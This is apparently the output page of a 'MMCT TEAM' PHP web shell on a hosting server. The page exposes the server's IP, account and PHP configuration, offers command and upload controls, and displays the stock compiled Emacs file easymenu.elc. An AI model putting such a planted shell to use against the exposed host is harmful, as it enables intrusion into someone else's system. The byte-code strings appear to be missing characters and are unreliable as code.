MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 3.143.244.92
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/share/emacs/24.3/lisp/emacs-lisp/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/share/emacs/24.3/lisp/emacs-lisp/easymenu.elc
;ELC
;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:09:01 2024
;;; from file /builddir/build/BUILD/emacs-24.3/lisp/emacs-lisp/easymenu.el
;;; in Emacs version 24.3.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


#@460 Determine when equivalent key bindings are computed for easy-menu menus.
It can take some time to calculate the equivalent key bindings that are shown
in a menu.  If the variable is on, then this calculation gives a (maybe
noticeable) delay when a mode is first entered.  If the variable is off, then
this delay will come when a menu is displayed the first time.  If you never use
menus, turn this variable off, otherwise it is probably better to keep it on.
(defvar easy-menu-precalculate-equivalent-keybindings nil (#$ . 563))
(make-obsolete-variable 'easy-menu-precalculate-equivalent-keybindings nil "23.1")
(defalias 'easy-menu-intern #[(s) ";\203	\301!\207\207" [s intern] 2])
(put 'easy-menu-intern 'byte-optimizer 'byte-compile-inline-expand)
#@3402 Define a pop-up menu and/or menu bar menu specified by MENU.
If SYMBOL is non-nil, define SYMBOL as a function to pop up the
submenu defined by MENU, with DOC as its doc string.

MAPS, if non-nil, should be a keymap or a list of keymaps; add
the submenu defined by MENU to the keymap or each of the keymaps,
as a top-level menu bar item.

The first element of MENU must be a string.  It is the menu bar
item name.  It may be followed by the following keyword argument
pairs:

 :filter FUNCTION
    FUNCTION must be a function which, if called with one
    argument---the list of the other menu items---returns the
    items to actually display.

 :visible INCLUDE
    INCLUDE is an expression.  The menu is visible if the
    expression evaluates to a non-nil value.  `:included' is an
    alias for `:visible'.

 :active ENABLE
    ENABLE is an expression.  The menu is enabled for selection
    if the expression evaluates to a non-nil value.  `:enable' is
    an alias for `:active'.

The rest of the elements in MENU are menu items.
A menu item can be a vector of three elements:

  [NAME CALLBACK ENABLE]

NAME is a string--the menu item name.

CALLBACK is a command to run when the item is chosen, or an
expression to evaluate when the item is chosen.

ENABLE is an expression; the item is enabled for selection if the
expression evaluates to a non-nil value.

Alternatively, a menu item may have the form:

   [ NAME CALLBACK [ KEYWORD ARG ]... ]

where NAME and CALLBACK have the same meanings as above, and each
optional KEYWORD and ARG pair should be one of the following:

 :keys KEYS
    KEYS is a string; a keyboard equivalent to the menu item.
    This is normally not needed because keyboard equivalents are
    usually computed automatically.  KEYS is expanded with
    `substitute-command-keys' before it is used.

 :key-sequence KEYS
    KEYS is a hint for speeding up Emacs's first display of the
    menu.  It should be nil if you know that the menu item has no
    keyboard equivalent; otherwise it should be a string or
    vector specifying a keyboard equivalent for the menu item.

 :active ENABLE
    ENABLE is an expression; the item is enabled for selection
    whenever this expression's value is non-nil.  `:enable' is an
    alias for `:active'.

 :visible INCLUDE
    INCLUDE is an expression; this item is only visible if this
    expression has a non-nil value.  `:included' is an alias for
    `:visible'.

 :label FORM
    FORM is an expression that is dynamically evaluated and whose
    value serves as the menu item's label (the default is NAME).

 :suffix FORM
    FORM is an expression that is dynamically evaluated and whose
    value is concatenated with the menu entry's label.

 :style STYLE
    STYLE is a symbol describing the type of menu item; it should
    be `toggle' (a checkbox), or `radio' (a radio button), or any
    other value (meaning an ordinary menu item).

 :selected SELECTED
    SELECTED is an expression; the checkbox or radio button is
    selected whenever the expression's value is non-nil.

 :help HELP
    HELP is a string, the help to display for the menu item.

Alternatively, a menu item can be a string.  Then that string
appears in the menu as unselectable text.  A string consisting
solely of dashes is displayed as a menu separator.

Alternatively, a menu item can be a list with the same format as
MENU.  This is a submenu.
(defalias 'easy-menu-define '(macro . #[(symbol maps doc menu) "\304\205\n\305\306	F\307\310D\n	\257E\207" [symbol doc maps menu progn defvar nil easy-menu-do-define quote] 7 (#$ . 1326)]))
(byte-code "\300\301\302\303#\210\300\301\304\305#\207" [put easy-menu-define lisp-indent-function defun edebug-form-spec (symbolp body)] 4)
#@99 Return a binding suitable to pass to `define-key'.
This is expected to be bound to a mouse event.
(defalias 'easy-menu-binding #[(menu &optional item-name) "9\205\304NK\305	@\306=\203$	\211A@)	\211AA)\2025\2065\307!\2034\310!\2065\311	)BBB\207" [menu props x item-name menu-prop menu-item :label keymapp keymap-prompt ""] 5 (#$ . 5070)])
(defalias 'easy-menu-do-define #[(symbol maps doc menu) "\306@A\"\n\2036\n	L\210\307\n\310\311\312\313\314\315\316\317\nD\320\315\321\322\n\323BB\324BB\325BB\326\nDEE\nEE\257\"\210\327\f!\203A\fC\202B\f\330\211\205w@\331
\332\333@\211;\203b\334!\202d)\"\335	@\"#\210A\211\204J\330+\207" [menu keymap symbol doc maps map easy-menu-create-menu defalias lambda (event) (interactive "@e") x-popup-menu event or and symbolp funcall plist-get get ('menu-prop) (:filter) ('identity) symbol-function keymapp nil define-key vector menu-bar intern easy-menu-binding --dolist-tail-- s] 18])
#@420 Convert MENU to the right thing to return from a menu filter.
MENU is a menu as computed by `easy-menu-define' or `easy-menu-create-menu' or
a symbol whose value is such a menu.
In Emacs a menu filter must return a menu (a keymap), in XEmacs a filter must
return a menu items list (without menu name and keywords).
This function returns the right thing in the two cases.
If NAME is provided, it is used for the keymap.
(defalias 'easy-menu-filter-return #[(menu &optional name) "\302!\204:\203\303	\206\304\"\202\"\305!\203\"\306!A\207" [menu name keymapp easy-menu-create-menu "" vectorp easy-menu-convert-item] 3 (#$ . 6044)])
#@210 Dynamically scoped var to register already used keys in a menu.
If it holds a list, this is expected to be a list of keys already seen in the
menu we're processing.  Else it means we're not processing a menu.
(defvar easy-menu-avoid-duplicate-keys t (#$ . 6696))
#@215 Create a menu called MENU-NAME with items described in MENU-ITEMS.
MENU-NAME is a string, the name of the menu.  MENU-ITEMS is a list of items
possibly preceded by keyword pairs as described in `easy-menu-define'.
(defalias 'easy-menu-create-menu #[(menu-name menu-items) "\306!\307\211\211\211\211\211\211\211\211 !\"#$\203\226$A\203\226\310$@\211 !\203\226$\211%A@)$\211%AA)$ \311=\203Z\312\313\314\315BEE\202 \316>\203k\206g\317\202 \320=\203x\202 \321=\203\205\202 \322>\203\206\222\323\202\n\324\232?\205\n\203\257\325\n!\204\257\326\n!BB!\f\203\301\325\f!\204\301\327\f!BB!\203\315\311!BB!	\203\331\321	!BB!
\203\345\320
!BB!\203\356$\202\367\330#\331\332$\"\"#!\203
\333#\334\"#\335#\336!#\210#.\n\207" [menu-name help visible filter enable label make-sparse-keymap nil keywordp :filter lambda (menu) easy-menu-filter-return (menu) (:enable :active) 'nil :label :help (:included :visible) 'nil 'nil easy-menu-always-true-p :visible :enable append mapcar easy-menu-convert-item easy-menu-make-symbol noexp put menu-prop arg keyword prop easy-menu-avoid-duplicate-keys menu menu-items x] 11 (#$ . 6966)])
(defvar easy-menu-button-prefix '((radio . :radio) (toggle . :toggle)))
(defvar easy-menu-converted-items-table (make-hash-table :test 'equal))
#@364 Memoize the value returned by `easy-menu-convert-item-1' called on ITEM.
This makes key-shortcut-caching work a *lot* better when this
conversion is done from within a filter.
This also helps when the NAME of the entry is recreated each time:
since the menu is built and traversed separately, the lookup
would always fail because the key is `equal' but not `eq'.
(defalias 'easy-menu-convert-item #[(item) "\306	\"\211\206\f\307!\211\242
<\2037\f9\2037\f
>\2033\310\311\312\313\f!
G#!\211AB\202\f
B\n\204A\314	#\210+\207" [item easy-menu-converted-items-table cache result key easy-menu-avoid-duplicate-keys gethash easy-menu-convert-item-1 intern format "%s-%d" symbol-name puthash] 6 (#$ . 8327)])
#@115 Parse an item description and convert it to a menu keymap element.
ITEM defines an item as in `easy-menu-define'.
(defalias 'easy-menu-convert-item-1 #[(item) "\306\211\211\211\211
;\203
\202\246
:\203_
@\211
A\307!\204,\310\f\"\2045\311\202\2469\203\246\312N\211\203\246	@\313=\203Y	\2110A@)	\2110AA)K\202\246\314
!\203\242
G\2111\315V\203y
\315H\206z\316\202z\3112
\317H\2119?3\306\21145
\320H\2113\203\232\321!\3222!\203h\315\306\211\211\211\211\211\2116789:;<=\30621=V\203i
=H<
=TH;\315=\\=<\323>\203\351;\206\344\3249\202\274<\325=\203\372;4\3115\202\274<\326=\203;6\3063\202\274<\313=\203;\202\274<\327>\203*;\206%\3302\202\274<\331=\203;\331;	BB\202\274<\332=\203I;:\202\274<\333=\203W;8\202\274<\334=\203\274;\206d\3357\202\274:\203\241:;\203\213\n;\203\201\n\336:Q\202\240\337\n\336:PE\202\240\n;\203\232\337\n\336P:E\202\240\337\n\336:F8\340=\203\277\n;\203\264\341\n\342Q\202\273\337\341\n\343BBB\202\3327\203\3328>\236\2118\203\332\3448A7B	BB6;\203G\345\3466\"\2038\320\224\317\224W\205\3666\320\317\224O\317\225\320\225W\2056\317\225\306O\347\350\3156\"!?@\211A\204@\205A@B\2116\204-?=?\2052?6B6+\202;\30656\203G\3266	BB9\203f\3519!\204f9\352\232\203_\311\202f\3539	BB.2\203{\3512!\204{\3542	BB3\204\2055\203\2364\203\2274;\204\227\3144!\203\236\3254	BB-\202\246\355\356!\210\f\211B;\203\265\347B!\202\267B)\211C?\205\313\357\n\f\205\311	BBB.B\207" [remove prop label command name item nil keymapp easy-menu-create-menu t menu-prop :label vectorp 2 'nil 1 0 easy-menu-make-symbol keywordp (:included :visible) 'nil :key-sequence :keys (:active :enable) 'nil :help :suffix :style :selected 'nil " " concat button "[" "]" ("]") :button string-match "^[^\\]*\\(\\\\\\[\\([^]]+\\)]\\)[^\\]*$" intern match-string easy-menu-always-true-p 'nil :visible :enable error "Invalid menu item in easymenu" menu-item x ilen active no-name cache cache-specified keys selected style visible suffix arg keyword count easy-menu-button-prefix cmd postfix prefix s key] 9 (#$ . 9053)])
#@584 Add binding in MENU for KEY => ITEM.  Similar to `define-key-after'.
If KEY is not nil then delete any duplications.
If ITEM is nil, then delete the definition of KEY.

Optional argument BEFORE is nil or a key in MENU.  If BEFORE is not nil,
put binding before the item in MENU named BEFORE; otherwise,
if a binding for KEY is already present in MENU, just change it;
otherwise put the new binding last in MENU.
BEFORE can be either a string (menu item name) or a symbol
(the fake function key for the menu item).
KEY does not have to be a symbol, and comparison is done with equal.
(defalias 'easy-menu-define-key #[(menu key item &optional before) "9\203	\306!	?\307\211\n?\205\257A?\206\310A!\211\2045
\203U\311
\211A@)\"\203U\f\204<\312\f\204O\f	BAB\241\210\312AA\202\f\203\251\211A@)\242\f\232\203\251\f\204\212
\203\227\211AA)\211\203\227\310!\204\227\311
@\"\204\227\211\211AA)\241\210\202\211A@)	\241\210\312A\202A\202+\207" [menu item done tail inserted before indirect-function nil keymapp easy-menu-name-match t x key] 4 (#$ . 11265)])
#@154 Return t if NAME is the name of menu item ITEM.
NAME can be either a string, or a symbol.
ITEM should be a keymap binding of the form (KEY . MENU-ITEM).
(defalias 'easy-menu-name-match #[(name item) ":\205!	9\203\242	=\207	;\205!\302\303\304\217\206!\242\305	!=\207" [item name nil (member-ignore-case name item) ((error)) intern] 3 (#$ . 12387)])
#@47 Return true if form X never evaluates to nil.
(defalias 'easy-menu-always-true-p #[(x) ":\203@\301=\205\211A@)\207\302=\2069?\207" [x quote t] 3 (#$ . 12749)])
(defvar easy-menu-item-count 0)
#@176 Return a unique symbol with CALLBACK as function value.
When non-nil, NOEXP indicates that CALLBACK cannot be an expression
(i.e. does not need to be turned into a function).
(defalias 'easy-menu-make-symbol #[(callback &optional noexp) "\304\305\306\"!T	\307\n!\204!\310\n!\204!\311\n!\204!\203%\n\202*\312\313\314\nFM\210	)\207" [easy-menu-item-count command callback noexp make-symbol format "menu-function-%d" keymapp commandp functionp lambda nil (interactive)] 5 (#$ . 12960)])
#@797 Change menu found at PATH as item NAME to contain ITEMS.
PATH is a list of strings for locating the menu that
should contain a submenu named NAME.
ITEMS is a list of menu items, as in `easy-menu-define'.
These items entirely replace the previous items in that submenu.

If MAP is specified, it should normally be a keymap; nil stands for the local
menu-bar keymap.  It can also be a symbol, which has earlier been used as the
first argument in a call to `easy-menu-define', or the value of such a symbol.

If the menu located by PATH has no submenu named NAME, add one.
If the optional argument BEFORE is present, add it just before
the submenu named BEFORE, otherwise add it at the end of the menu.

To implement dynamic menus, either call this from
`menu-bar-update-hook' or use a menu filter.
(defalias 'easy-menu-change #[(path name items &optional before map) "\305	\306\n\"\f$\207" [map path name items before easy-menu-add-item easy-menu-create-menu] 6 (#$ . 13461)])
(defalias 'easy-menu-remove 'ignore "Remove MENU from the current menu bar.\nContrary to XEmacs, this is a nop on Emacs since menus are automatically\n(de)activated when the corresponding keymap is (de)activated.\n\n(fn MENU)")
#@326 Add the menu to the menubar.
On Emacs, menus are already automatically activated when the
corresponding keymap is activated.  On XEmacs this is needed to
actually add the menu to the current menubar.

You should call this once the menu and keybindings are set up
completely and menu filter functions can be expected to work.
(defalias 'easy-menu-add #[(menu &optional map) "\300\207" ["Add the menu to the menubar.\nOn Emacs, menus are already automatically activated when the\ncorresponding keymap is activated.  On XEmacs this is needed to\nactually add the menu to the current menubar.\n\nYou should call this once the menu and keybindings are set up\ncompletely and menu filter functions can be expected to work."] 1 (#$ . 14673)])
#@215 Add submenu SUBMENU in the menu at MENU-PATH.
If BEFORE is non-nil, add before the item named BEFORE.
If IN-MENU is non-nil, follow MENU-PATH in IN-MENU.
This is a compatibility function; use `easy-menu-add-item'.
(defalias 'add-submenu #[(menu-path submenu &optional before in-menu) "\304\206\305 \306	B\n$\207" [in-menu menu-path submenu before easy-menu-add-item current-global-map "menu-bar"] 5 (#$ . 15416)])
#@1076 To the submenu of MAP with path PATH, add ITEM.

If an item with the same name is already present in this submenu,
then ITEM replaces it.  Otherwise, ITEM is added to this submenu.
In the latter case, ITEM is normally added at the end of the submenu.
However, if BEFORE is a string and there is an item in the submenu
with that name, then ITEM is added before that item.

MAP should normally be a keymap; nil stands for the local menu-bar keymap.
It can also be a symbol, which has earlier been used as the first
argument in a call to `easy-menu-define', or the value of such a symbol.

PATH is a list of strings for locating the submenu where ITEM is to be
added.  If PATH is nil, MAP itself is used.  Otherwise, the first
element should be the name of a submenu directly under MAP.  This
submenu is then traversed recursively with the remaining elements of PATH.

ITEM is either defined as in `easy-menu-define' or a non-nil value returned
by `easy-menu-item-present-p' or `easy-menu-remove-item' or a menu defined
earlier by `easy-menu-define' or `easy-menu-create-menu'.
(defalias 'easy-menu-add-item #[(map path item &optional before) "\306	?\205	?\205\n\242;\205\n@#\n:\203D\nA:\203D\n\211A@)\307=\203D\310\n@\211;\203=\311\f!\202>\f)\nA
$\207\312\n!\204]\n9\203c\312\nJ!\203c\nJ\211\203c\313\n!\nB\314\n!\310\n@\211;\203w\311\f!\202x\f)\nA
$\207" [map path item x s before easy-menu-get-map menu-item easy-menu-define-key intern keymapp keymap-prompt easy-menu-convert-item] 6 (#$ . 15842)])
#@195 In submenu of MAP with path PATH, return non-nil if item NAME is present.
MAP and PATH are defined as in `easy-menu-add-item'.
NAME should be a string, the name of the element to be looked for.
(defalias 'easy-menu-item-present-p #[(map path name) "\303\304	\"\n\"\207" [map path name easy-menu-return-item easy-menu-get-map] 4 (#$ . 17376)])
#@171 From submenu of MAP with path PATH remove item NAME.
MAP and PATH are defined as in `easy-menu-add-item'.
NAME should be a string, the name of the element to be removed.
(defalias 'easy-menu-remove-item #[(map path name) "\305	\"\306\n\"\211\203\"\307\n\211;\203\310\f!\202\f)\311#\210)\207" [map path name ret s easy-menu-get-map easy-menu-return-item easy-menu-define-key intern nil] 5 (#$ . 17727)])
#@187 In menu MENU try to look for menu item with name NAME.
If a menu item is found, return (NAME . item), otherwise return nil.
If item is an old format item, a new format item is returned.
(defalias 'easy-menu-return-item #[(menu name) "	\236A\206\306	\307\211;\203\310\n!\202\n)!\"\311\211\211\211
\211\242;\203\243@A\211@;\203G\312@D
A:\203t@:\203t\211@@)\203k\211@@)\247\203t@A9\203\213\313N\211\203\213\314

BB
\f\203\225\f
B
\313
BBBB\202\254\205\254B-\207" [name menu s label cache enable lookup-key vector intern nil :help menu-enable :enable ret item x] 6 (#$ . 18149)])
#@176 Lookup menu item NAME in keymap MAP.
Like `lookup-key' except that NAME is not an array but just a single key
and that NAME can be a string representing the menu item's name.
(defalias 'easy-menu-lookup-name #[(map name) "\303\304	\211;\203\305\n!\202\n)!\"\206	;\205\306\307\215\207" [map name s lookup-key vector intern found (map-keymap #[(key item) "\302\303\304\217\205\305\306\307\310	!\"\"\207" [map key nil (member name item) ((error)) throw found lookup-key vector] 6] map)] 6 (#$ . 18810)])
#@285 Return a sparse keymap in which to add or remove an item.
MAP and PATH are as defined in `easy-menu-add-item'.

TO-MODIFY, if non-nil, is the name of the item the caller
wants to modify in the map that we return.
In some cases we use that to select between the local and global maps.
(defalias 'easy-menu-get-map #[(map path &optional to-modify) "\301\302\215\303!\204\304\305\"\210\207" [map found (byte-code "\2039\203\306!\204J\203%\306!\203!C\202'\202'\307 \2040\310\nB\n\311\211\203J\f@\312\311\313\314	\"\"\fA\211\2048*
\203n	\311\211\203m\f@\315
\"\203f\316\317\"\210\fA\211\204W*	\203x\316\317	@\"\210\n\205\203\320\321\322\n!@\"\323!\324\206\220\325 \326\327\313\330\n\"\"\203\242B\202\244#\210+\207" [map maps path name --dolist-tail-- to-modify keymapp current-active-maps menu-bar nil delq mapcar #[(map) "\302	\"\303!\205\f\207" [map name easy-menu-lookup-name keymapp] 3] easy-menu-lookup-name throw found format "%s" reverse make-sparse-keymap define-key current-local-map apply vector easy-menu-intern newmap] 8) keymapp error "Malformed menu in easy-menu: (%s)"] 3 (#$ . 19331)])
(provide 'easymenu)

MMCT - 2023